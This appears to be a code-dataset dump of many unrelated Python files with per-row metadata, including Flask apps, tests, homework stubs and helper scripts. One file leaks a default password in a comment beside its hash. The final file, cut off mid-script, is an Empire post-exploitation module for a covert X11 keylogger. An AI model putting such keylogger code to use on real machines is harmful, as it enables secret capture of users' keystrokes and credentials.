| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 34
| 1
| 34
| 34
| 0.766667
| 0.794118
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0c856d5c425afccb5c2b89104d91a0cf3f335fbf
| 1,162
|
py
|
Python
|
homework-2/HW2P1/hw2/mc.py
|
neelpawarcmu/deep-learning-library
|
401483fce40e3a025054596cbec368ff4f647661
|
[
"MIT"
] | null | null | null |
homework-2/HW2P1/hw2/mc.py
|
neelpawarcmu/deep-learning-library
|
401483fce40e3a025054596cbec368ff4f647661
|
[
"MIT"
] | null | null | null |
homework-2/HW2P1/hw2/mc.py
|
neelpawarcmu/deep-learning-library
|
401483fce40e3a025054596cbec368ff4f647661
|
[
"MIT"
] | null | null | null |
# Multiple Choice
# Return the answer to the multiple choice question in the handout.
# If you think option c is the correct answer,
# return 'c'
def question_1():
# [Image] The first hidden layer has 4 filters of kernel-width 2 and stride 2;
# the second layer has 3 filters of kernel-width 8 and stride 2; the third layer has 2 filters of kernel-width 6 and stride 2
return 'b'
def question_2():
# out_width = [(in_width_padded - kernel_dilated) // stride] + 1,
# where in_width_padded = in_width + 2 * padding, kernel_dilated = (kernel - 1) * (dilation - 1) + kernel
return 'd'
def question_3():
# [Image] ip = 100, kernel = 5, stride = 2. Op = ??
# Example Input: Batch size = 2, In channel = 3, In width = 100
# Example W: Out channel = 4, In channel = 3, Kernel width = 5
# Example Out: Batch size = 2, Out channel = 4, Out width = 48
return 'b'
def question_4():
#working of numpy.tensordot
#A = np.arange(30.).reshape(2,3,5)
#B = np.arange(24.).reshape(3,4,2)
#C = np.tensordot(A,B, axes = ([0,1],[2,0]))
return 'a' #random to test
def question_5():
#lol question
return 'a'
| 33.2
| 129
| 0.639415
| 190
| 1,162
| 3.842105
| 0.363158
| 0.075342
| 0.061644
| 0.082192
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.055305
| 0.237522
| 1,162
| 34
| 130
| 34.176471
| 0.768623
| 0.775387
| 0
| 0.4
| 0
| 0
| 0.020747
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
0c883dec94c93fa84d51cad88108bf83dcebb9fb
| 42
|
py
|
Python
|
foiamachine/local/lib/python2.7/encodings/iso8859_13.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | 3
|
2021-08-07T04:01:55.000Z
|
2021-08-07T05:12:11.000Z
|
foiamachine/local/lib/python2.7/encodings/iso8859_13.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | null | null | null |
foiamachine/local/lib/python2.7/encodings/iso8859_13.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | 1
|
2021-08-05T22:51:14.000Z
|
2021-08-05T22:51:14.000Z
|
/usr/lib/python2.7/encodings/iso8859_13.py
| 42
| 42
| 0.833333
| 8
| 42
| 4.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 0
| 42
| 1
| 42
| 42
| 0.619048
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0ced3e21df17728664140c72f3f047610e594023
| 1,760
|
py
|
Python
|
DailyProgrammer/DP20170811C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | 2
|
2020-12-23T18:59:22.000Z
|
2021-04-14T13:16:09.000Z
|
DailyProgrammer/DP20170811C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
DailyProgrammer/DP20170811C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
"""
[2017-08-11] Challenge #326 [Hard] Multifaceted alphabet blocks
https://www.reddit.com/r/dailyprogrammer/comments/6t0zua/20170811_challenge_326_hard_multifaceted_alphabet/
# Description
You are constructing a set of N alphabet blocks. The first block has 1 face. The second block has 2 faces, and so on up
to the Nth block, which has N faces. Each face contains a letter.
Given a word list, return a set of blocks that can spell every word on the word list, making N as small as possible. A
word can be spelled with the blocks if you can take some subset of the blocks, take one face from each block you chose,
put them in some order, and spell the word.
# Example input
zero
one
two
three
four
five
six
seven
# Example output
The smallest possible N in this case is N = 5:
e
eo
fhs
rvwx
intuz
This output represents five blocks. Block #1 has one face that contains `e`, block #2 has two faces, `e` and `o`, and
so on up to block #5, which has the faces `i`, `n`, `t`, `u`, and `z`.
For example, `four` can be formed by using blocks #3, #2, #5, and #4 in order. Note that `ten` could not be formed from
these blocks even though all the letters are there, because the only `t` and the only `n` both appear on block #5, and
you can only use at most one face from each block.
# Challenge input
[This list of 10,000 12-letter words](https://pastebin.com/trMz6nWQ).
I'll award +1 gold medal flair for the best (lowest number of blocks) solution to the challenge input after 7 days. I
will break ties by concatenating the blocks in order of number of faces (`eeofhsrvwxintuz` for the example), and take
the lexicographically first solution.
"""
def main():
pass
if __name__ == "__main__":
main()
| 37.446809
| 119
| 0.722727
| 310
| 1,760
| 4.06129
| 0.477419
| 0.021446
| 0.025417
| 0.04448
| 0.106434
| 0
| 0
| 0
| 0
| 0
| 0
| 0.032189
| 0.205682
| 1,760
| 46
| 120
| 38.26087
| 0.868383
| 0.959091
| 0
| 0
| 0
| 0
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
0b2bc5591c0ac91ac062c800a7b7b4f4fd92a845
| 569
|
py
|
Python
|
server.py
|
Nishith-Savla/servlet-manager
|
32ab29dc9633b832e574ba6adbce1a1362a7cc93
|
[
"MIT"
] | 2
|
2022-01-11T07:00:13.000Z
|
2022-03-20T11:40:40.000Z
|
server.py
|
Nishith-Savla/servlet-manager
|
32ab29dc9633b832e574ba6adbce1a1362a7cc93
|
[
"MIT"
] | null | null | null |
server.py
|
Nishith-Savla/servlet-manager
|
32ab29dc9633b832e574ba6adbce1a1362a7cc93
|
[
"MIT"
] | 1
|
2022-03-18T15:08:34.000Z
|
2022-03-18T15:08:34.000Z
|
import os.path
from subprocess import Popen, CREATE_NEW_CONSOLE
def handle_server(tomcat_folder_path: str, command: str):
Popen([os.path.join(tomcat_folder_path, "bin\\catalina.bat"), command],
creationflags=CREATE_NEW_CONSOLE)
def stop_server(tomcat_folder_path: str):
handle_server(tomcat_folder_path, "stop")
def start_server(tomcat_folder_path: str):
handle_server(tomcat_folder_path, "start")
def restart_server(tomcat_folder_path: str):
handle_server(tomcat_folder_path, "stop")
handle_server(tomcat_folder_path, "start")
| 23.708333
| 75
| 0.769772
| 79
| 569
| 5.164557
| 0.303797
| 0.264706
| 0.352941
| 0.431373
| 0.578431
| 0.502451
| 0.409314
| 0.409314
| 0.409314
| 0.409314
| 0
| 0
| 0.130053
| 569
| 23
| 76
| 24.73913
| 0.824242
| 0
| 0
| 0.333333
| 0
| 0
| 0.061728
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0b68619f54251cd936da466c772a53a1817a385b
| 77
|
py
|
Python
|
vinn/logger/__init__.py
|
Torato-Taraka/VINN
|
dbc8cdf9bfcedbafdd47f83b31aefc322f736cf0
|
[
"MIT"
] | null | null | null |
vinn/logger/__init__.py
|
Torato-Taraka/VINN
|
dbc8cdf9bfcedbafdd47f83b31aefc322f736cf0
|
[
"MIT"
] | null | null | null |
vinn/logger/__init__.py
|
Torato-Taraka/VINN
|
dbc8cdf9bfcedbafdd47f83b31aefc322f736cf0
|
[
"MIT"
] | null | null | null |
from .Logger import init_logger, get_logger
init_logger()
log = get_logger()
| 19.25
| 43
| 0.792208
| 12
| 77
| 4.75
| 0.5
| 0.350877
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116883
| 77
| 4
| 44
| 19.25
| 0.838235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0b8732734c0db8df3bef4b90d0109456bc96ff45
| 1,080
|
py
|
Python
|
src/waterdeep/endpoints.py
|
marco262/my_wiki
|
ccf2cc3426615da9cfcc6a3cc77cd7bbf9ebb3fb
|
[
"MIT"
] | 1
|
2020-08-25T23:36:28.000Z
|
2020-08-25T23:36:28.000Z
|
src/waterdeep/endpoints.py
|
marco262/my_wiki
|
ccf2cc3426615da9cfcc6a3cc77cd7bbf9ebb3fb
|
[
"MIT"
] | null | null | null |
src/waterdeep/endpoints.py
|
marco262/my_wiki
|
ccf2cc3426615da9cfcc6a3cc77cd7bbf9ebb3fb
|
[
"MIT"
] | null | null | null |
import bcrypt
from bottle import Bottle, view, auth_basic
from src.common.utils import md_page
# Default password: dancinglikeastripper
GM_NOTES_PW_HASH = b"$2b$12$CQk/8o5DPPy05njxM8kO4e/WWr5UV7EXtE1sjctnKAUCLj5nqTcHC"
def init(cfg):
global GM_NOTES_PW_HASH
GM_NOTES_PW_HASH = cfg.get("Password hashes", "GM Notes").encode("utf-8")
def load_wsgi_endpoints(app: Bottle):
@app.get("/")
@app.get("/home")
def home():
return md_page("Waterdeep Adventures", "waterdeep")
@app.get("<name>")
@view("common/page.tpl")
def page(name):
return md_page(name, "waterdeep")
@app.get("gm_notes/<name>")
@view("common/page.tpl")
@auth_basic(gm_notes_auth_check)
def gm_notes(name):
return md_page(name, "waterdeep", directory="gm_notes")
@app.get("")
@view("common/page.tpl")
def calendar():
return md_page("calendar", "waterdeep", build_toc=False)
def gm_notes_auth_check(username, password):
return username.lower() == "gm" and bcrypt.checkpw(password.encode("utf-8"), GM_NOTES_PW_HASH)
| 27
| 98
| 0.684259
| 149
| 1,080
| 4.751678
| 0.362416
| 0.09887
| 0.050847
| 0.073446
| 0.173729
| 0.081921
| 0
| 0
| 0
| 0
| 0
| 0.016685
| 0.167593
| 1,080
| 39
| 99
| 27.692308
| 0.770857
| 0.035185
| 0
| 0.111111
| 0
| 0
| 0.229808
| 0.057692
| 0
| 0
| 0
| 0
| 0
| 1
| 0.259259
| false
| 0.111111
| 0.111111
| 0.185185
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
0b884f4860f3fff8ed1d813097ca6813b4f7db10
| 1,453
|
py
|
Python
|
systest/pages/test_packet_delay.py
|
Risca/znail
|
01c94465a4bd5d48c1f0e7c4f339138b3a1d0a6f
|
[
"Apache-2.0"
] | 15
|
2019-10-23T07:02:35.000Z
|
2022-03-07T08:33:18.000Z
|
systest/pages/test_packet_delay.py
|
Risca/znail
|
01c94465a4bd5d48c1f0e7c4f339138b3a1d0a6f
|
[
"Apache-2.0"
] | 8
|
2019-12-11T12:02:03.000Z
|
2021-10-15T20:38:18.000Z
|
systest/pages/test_packet_delay.py
|
Risca/znail
|
01c94465a4bd5d48c1f0e7c4f339138b3a1d0a6f
|
[
"Apache-2.0"
] | 4
|
2019-11-19T21:32:52.000Z
|
2021-08-22T17:19:27.000Z
|
from ..util import assert_has_title
delay_examples = [
{
"description": "The average delay of a transatlantic connection",
"value": 100,
},
{
"description": "The average delay of a connection within the EU or the US",
"value": 35,
},
{
"description": "A satellite modem in the woods (terrible!)",
"value": 600,
},
]
def test_load_page(znail, packet_delay_page):
assert_has_title(packet_delay_page.page, "Packet Delay")
def test_set_packet_delay(Znail, packet_delay_page):
with Znail() as znail:
packet_delay_page.set(10)
assert "netem delay 10ms" in znail.stdout
def test_get_packet_delay(znail, packet_delay_page):
assert packet_delay_page.get() is None
def test_set_and_get_packet_delay(znail, packet_delay_page):
packet_delay_page.set(10)
assert packet_delay_page.get() == 10
def test_clear_packet_delay(znail, packet_delay_page):
packet_delay_page.set(10)
packet_delay_page.set(None)
assert packet_delay_page.get() is None
def test_invalid_input(znail, packet_delay_page):
packet_delay_page.set(-1, expect_success=False)
def test_examples(znail, packet_delay_page):
for example in delay_examples:
packet_delay_page.set(example["value"])
assert packet_delay_page.get() == example["value"]
def test_clear_twice(znail, packet_delay_page):
packet_delay_page.set()
packet_delay_page.set()
| 25.491228
| 83
| 0.708878
| 206
| 1,453
| 4.660194
| 0.26699
| 0.297917
| 0.328125
| 0.1875
| 0.497917
| 0.427083
| 0.301042
| 0.2625
| 0.183333
| 0.10625
| 0
| 0.016198
| 0.192705
| 1,453
| 56
| 84
| 25.946429
| 0.802217
| 0
| 0
| 0.179487
| 0
| 0
| 0.15967
| 0
| 0
| 0
| 0
| 0
| 0.179487
| 1
| 0.205128
| false
| 0
| 0.025641
| 0
| 0.230769
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0bb2770e5ee6d007e437fd195d28c29c54b66cd7
| 2,030
|
py
|
Python
|
app/models.py
|
SaretoTracy/pitch-perfect
|
9763ecbd632fe14dd6b6799420fd2403133c09fd
|
[
"MIT"
] | null | null | null |
app/models.py
|
SaretoTracy/pitch-perfect
|
9763ecbd632fe14dd6b6799420fd2403133c09fd
|
[
"MIT"
] | null | null | null |
app/models.py
|
SaretoTracy/pitch-perfect
|
9763ecbd632fe14dd6b6799420fd2403133c09fd
|
[
"MIT"
] | null | null | null |
from . import db
from flask_login import UserMixin
from sqlalchemy.sql import func
from . import login_manager
from werkzeug.security import generate_password_hash, check_password_hash
@login_manager.user_loader
def load_user(user_id):
return User.query.get(user_id)
class User(db.Model, UserMixin):
__tablename__ = 'user'
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String(250), unique=True)
password = db.Column(db.String(250))
username = db.Column(db.String(250))
bio = db.Column(db.String(255))
profile_pic_path = db.Column(db.String())
pitches = db.relationship('Pitch', backref='owner')
comments = db.relationship('Comment', backref='owner')
def __repr__(self):
return f"User('{self.firstname}')"
class Pitch(db.Model):
'''
'''
__tablename__ = 'pitches'
id = db.Column(db.Integer, primary_key=True)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
description = db.Column(db.String(), index=True)
title = db.Column(db.String())
category = db.Column(db.String(255), nullable=False)
date = db.Column(db.DateTime(timezone=True), default=func.now())
pass_secure = db.Column(db.String(255))
@property
def password(self):
raise AttributeError('You cannot read the password attribute')
@password.setter
def password(self, password):
self.pass_secure = generate_password_hash(password)
def verify_password(self, password):
return check_password_hash(self.pass_secure, password)
def __repr__(self):
return f'Pitch {self.description}'
class Comment(db.Model):
'''
'''
__tablename__ = 'comments'
id = db.Column(db.Integer, primary_key=True)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
content = db.Column(db.String(255), index=True)
date = db.Column(db.DateTime(timezone=True), default=func.now())
def __repr__(self):
return f'Comment {self.content}'
| 29.42029
| 78
| 0.687192
| 271
| 2,030
| 4.9631
| 0.287823
| 0.101115
| 0.126394
| 0.118959
| 0.365799
| 0.226766
| 0.226766
| 0.226766
| 0.20223
| 0.20223
| 0
| 0.012575
| 0.17734
| 2,030
| 68
| 79
| 29.852941
| 0.792814
| 0
| 0
| 0.212766
| 1
| 0
| 0.081175
| 0.011952
| 0
| 0
| 0
| 0
| 0
| 1
| 0.148936
| false
| 0.212766
| 0.106383
| 0.106383
| 0.893617
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
e7ee916de1bcc91f4c2c781b862a0c03953f9732
| 128
|
py
|
Python
|
MOEAD/pure_moead.py
|
edwardfang/Genetic_Algorithm_Learning
|
64ab8e73051d2c1565c6b5900b4e89851571ba6b
|
[
"MIT"
] | 1
|
2017-09-24T14:12:37.000Z
|
2017-09-24T14:12:37.000Z
|
MOEAD/pure_moead.py
|
edwardfang/Genetic_Algorithm_Learning
|
64ab8e73051d2c1565c6b5900b4e89851571ba6b
|
[
"MIT"
] | null | null | null |
MOEAD/pure_moead.py
|
edwardfang/Genetic_Algorithm_Learning
|
64ab8e73051d2c1565c6b5900b4e89851571ba6b
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coidng=utf-8 -*-
'''
learn MOEA/D
'''
def main():
pass
if __name__ == '__main__':
main()
| 10.666667
| 26
| 0.539063
| 17
| 128
| 3.588235
| 0.882353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.21875
| 128
| 12
| 27
| 10.666667
| 0.59
| 0.429688
| 0
| 0
| 0
| 0
| 0.123077
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
e7f31ec2c7accc9c80e4dd59c21a8c6b016eb92b
| 813
|
py
|
Python
|
athanor_channels/channels/character.py
|
volundmush/athanor_channels
|
78d9fb7e2432976e4ec7ef54f18f350bf9b96afd
|
[
"BSD-3-Clause"
] | null | null | null |
athanor_channels/channels/character.py
|
volundmush/athanor_channels
|
78d9fb7e2432976e4ec7ef54f18f350bf9b96afd
|
[
"BSD-3-Clause"
] | null | null | null |
athanor_channels/channels/character.py
|
volundmush/athanor_channels
|
78d9fb7e2432976e4ec7ef54f18f350bf9b96afd
|
[
"BSD-3-Clause"
] | null | null | null |
from athanor_channels.channels.base import AbstractChannel, AbstractChannelCategory, AbstractChannelSystem
import athanor
class HasCharacterUser(object):
def find_user(self, session, user):
return athanor.CONTROLLER_MANAGER.get('character').find_character(user)
def get_enactor(self, session):
return session.get_puppet()
class CharacterChannel(HasCharacterUser, AbstractChannel):
def get_sender(self, sending_session=None):
if not sending_session:
return None
return sending_session.get_puppet()
@property
def subscriptions(self):
return self.object_subscriptions
class CharacterChannelCategory(HasCharacterUser, AbstractChannelCategory):
pass
class CharacterChannelSystem(HasCharacterUser, AbstractChannelSystem):
pass
| 25.40625
| 106
| 0.762608
| 78
| 813
| 7.794872
| 0.435897
| 0.069079
| 0.052632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.170972
| 813
| 31
| 107
| 26.225806
| 0.902077
| 0
| 0
| 0.105263
| 0
| 0
| 0.01107
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.210526
| false
| 0.105263
| 0.105263
| 0.157895
| 0.789474
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
e7f50dc4968dc126db964515310abd6761240693
| 111
|
py
|
Python
|
Python-Advanced/file_handling/file_reader.py
|
Xamaneone/SoftUni-Intro
|
985fe3249cd2adf021c2003372e840219811d989
|
[
"MIT"
] | null | null | null |
Python-Advanced/file_handling/file_reader.py
|
Xamaneone/SoftUni-Intro
|
985fe3249cd2adf021c2003372e840219811d989
|
[
"MIT"
] | null | null | null |
Python-Advanced/file_handling/file_reader.py
|
Xamaneone/SoftUni-Intro
|
985fe3249cd2adf021c2003372e840219811d989
|
[
"MIT"
] | null | null | null |
with open('File Reader/numbers.txt', 'r') as file:
print(sum([int(el.strip()) for el in file.readlines()]))
| 55.5
| 60
| 0.657658
| 19
| 111
| 3.842105
| 0.842105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126126
| 111
| 2
| 60
| 55.5
| 0.752577
| 0
| 0
| 0
| 0
| 0
| 0.214286
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
f01e72431991a6078b3178c0caf19b1b8f7ad492
| 48,510
|
py
|
Python
|
lib/modules/python/collection/linux/xkeylogger.py
|
jimshew/Empire
|
a7413869849b2c3c521eb50bed61e00ede107688
|
[
"BSD-3-Clause"
] | 4
|
2019-03-11T02:40:13.000Z
|
2021-01-29T06:45:21.000Z
|
lib/modules/python/collection/linux/xkeylogger.py
|
jimshew/Empire
|
a7413869849b2c3c521eb50bed61e00ede107688
|
[
"BSD-3-Clause"
] | 20
|
2020-03-11T03:58:21.000Z
|
2020-03-12T03:59:38.000Z
|
lib/modules/python/collection/linux/xkeylogger.py
|
jimshew/Empire
|
a7413869849b2c3c521eb50bed61e00ede107688
|
[
"BSD-3-Clause"
] | 1
|
2020-01-15T06:46:16.000Z
|
2020-01-15T06:46:16.000Z
|
from builtins import object
class Module(object):
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Keylog',
# list of one or more authors for the module
'Author': ['Nikaiw'],
# more verbose multi-line description of the module
'Description': ("X userland keylogger based on pupy"),
# True if the module needs to run in the background
'Background': True,
# File extension to save the file as
'OutputExtension': "",
# if the module needs administrative privileges
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': [
"WIP, might miss some keys, can't kill agent sometimes"
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to keylog.',
'Required' : True,
'Value' : ''
},
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """# -*- coding: utf-8 -*-
# inspired from https://github.com/amoffat/pykeylogger
import sys
from time import sleep, time, strftime
import ctypes as ct
from ctypes.util import find_library
try:
x11 = ct.cdll.LoadLibrary(find_library('X11'))
x11.XkbOpenDisplay.restype = ct.c_void_p
x11.XkbOpenDisplay.argtypes = [
ct.c_char_p,
ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p
]
x11.XCloseDisplay.argtypes = [ ct.c_void_p ]
x11.XQueryKeymap.restype = ct.c_int
x11.XQueryKeymap.argtypes = [ ct.c_void_p, ct.c_void_p ]
x11.XGetInputFocus.restype = ct.c_int
x11.XGetInputFocus.argtypes = [ ct.c_void_p, ct.c_void_p, ct.c_void_p ]
x11.XInternAtom.restype = ct.c_ulong
x11.XInternAtom.argtypes = [ ct.c_void_p, ct.c_char_p, ct.c_byte]
x11.XGetWMName.restype = ct.c_int
x11.XGetWMName.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]
x11.XQueryTree.restype = ct.c_int
x11.XQueryTree.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p, ct.c_void_p, ct.POINTER(ct.c_ulong), ct.POINTER(ct.c_uint)]
x11.XGetClassHint.restype = ct.c_int
x11.XGetClassHint.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_void_p ]
x11.XkbGetKeyboard.restype = ct.c_void_p
x11.XkbGetKeyboard.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_uint ]
x11.XkbGetState.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_void_p ]
x11.XKeycodeToKeysym.restype = ct.c_uint
x11.XKeycodeToKeysym.argtypes = [ ct.c_void_p, ct.c_uint ]
x11.XkbKeycodeToKeysym.restype = ct.c_uint
x11.XkbKeycodeToKeysym.argtypes = [ ct.c_void_p, ct.c_uint ]
x11.XDefaultRootWindow.restype = ct.c_ulong
x11.XDefaultRootWindow.argtypes = [ ct.c_void_p ]
x11.XNextEvent.argtypes = [ ct.c_void_p, ct.c_void_p ]
x11.XMapWindow.argtypes = [ ct.c_void_p, ct.c_ulong ]
x11.XSync.argtypes = [ ct.c_void_p, ct.c_int ]
x11.XMaskEvent.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_void_p ]
x11.XSelectInput.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_long ]
x11.XDestroyWindow.argtypes = [ ct.c_void_p, ct.c_ulong ]
x11.XGetEventData.argtypes = [ ct.c_void_p, ct.c_void_p ]
x11.XFreeEventData.argtypes = [ ct.c_void_p, ct.c_void_p ]
x11.XQueryExtension.argtypes = [ ct.c_void_p, ct.c_char_p, ct.c_void_p, ct.c_void_p, ct.c_void_p ]
x11.XGetWindowProperty.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_ulong, ct.c_long, ct.c_long, ct.c_int,
ct.c_ulong, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.POINTER(ct.c_char_p)]
x11.XGetWindowProperty.restype = ct.c_int
except:
x11 = None
try:
xi = ct.cdll.LoadLibrary(find_library('Xi'))
xi.XOpenDevice.restype = ct.c_void_p
xi.XOpenDevice.argtypes = [ ct.c_void_p, ct.c_uint ]
xi.XCloseDevice.argtypes = [ ct.c_void_p, ct.c_void_p ]
xi.XISelectEvents.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_void_p, ct.c_int ]
except:
xi = None
class ClassHint(ct.Structure):
_fields_ = [
( "name", ct.c_char_p ),
( "klass", ct.c_char_p )
]
class XkbState(ct.Structure):
_fields_ = [
( "group", ct.c_char ),
( "locked_group", ct.c_char ),
( "base_group", ct.c_char ),
( "latched_group", ct.c_char ),
( "mods", ct.c_char ),
( "base_mods", ct.c_char ),
( "latched_mods", ct.c_char ),
( "locked_mods", ct.c_char ),
( "compat_state", ct.c_char ),
( "grab_mods", ct.c_char ),
( "compat_grab_mods", ct.c_char ),
( "lookup_mods", ct.c_char ),
( "compat_lookup_mods", ct.c_char ),
( "ptr_buttons", ct.c_char )
]
class XiEventMask(ct.Structure):
_fields_ = [
( "deviceid", ct.c_int ),
( "mask_len", ct.c_int ),
( "mask", ct.c_void_p )
]
class XGenericEventCookie(ct.Structure):
_fields_ = [
( "type", ct.c_int ),
( "serial", ct.c_ulong ),
